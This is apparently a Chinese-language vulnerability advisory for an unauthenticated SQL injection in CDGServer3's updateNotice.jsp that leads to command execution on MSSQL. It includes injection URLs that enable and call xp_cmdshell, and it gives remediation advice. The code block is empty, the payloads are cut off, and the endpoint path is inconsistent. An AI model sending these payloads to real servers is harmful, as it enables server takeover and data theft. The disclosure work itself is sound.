### 关键信息 #### 漏洞标题 - **Unauthenticated SQLI Leading to Remote Code Execution (RCE)** #### 漏洞概述 - 在 `updateNotice.jsp` 端点的 `id` 参数中发现了一个SQL注入漏洞。 - 该漏洞允许未认证的攻击者在MSSQL服务器上执行任意代码,可能完全控制服务器。 #### 影响端点 - `CDGServer3/pubinfo/updateNotice.jsp` #### 漏洞类型 - RCE (远程代码执行) #### 漏洞代码 ```java ``` #### 概念验证 (PoC) 1. 基于时间的SQL注入: ``` https://uri/CDGServer3/parameter/updateNotice.jsp?id=1';WAITFOR DELAY '0:0:10'-- ``` 2. 启用 `xp_cmdshell`: ``` https://uri/CDGServer3/parameter/updateNotice.jsp?id=1';EXEC sp_configure 'show advanced option ``` 3. 执行任意命令: ``` https://uri/CDGServer3/parameter/updateNotice.jsp?id=1';exec master..xp_cmdshell 'ping fewfiew ``` #### 影响 - 完整服务器被攻陷。 - 数据泄露。 - 通过执行资源密集型命令导致拒绝服务 (DoS)。 - 内部网络中的潜在横向移动。 #### 建议 1. 输入验证和清理:确保所有用户输入都经过适当清理和验证。使用带有参数化查询的预编译语句防止SQL注入。 2. 最小权限原则:确保数据库用户具有应用程序功能所需的最低权限。 3. 禁用危险特性:除非绝对必要,否则禁用类似 `xp_cmdshell` 的特性。 4. 定期安全审计:定期进行安全审计和代码审查以识别和修复漏洞。 #### 结论 - `updateNotice.jsp` 端点中的RCE构成重大安全风险。应立即采取补救措施,对用户输入进行清理并保护数据库免受未经授权的访问和代码执行。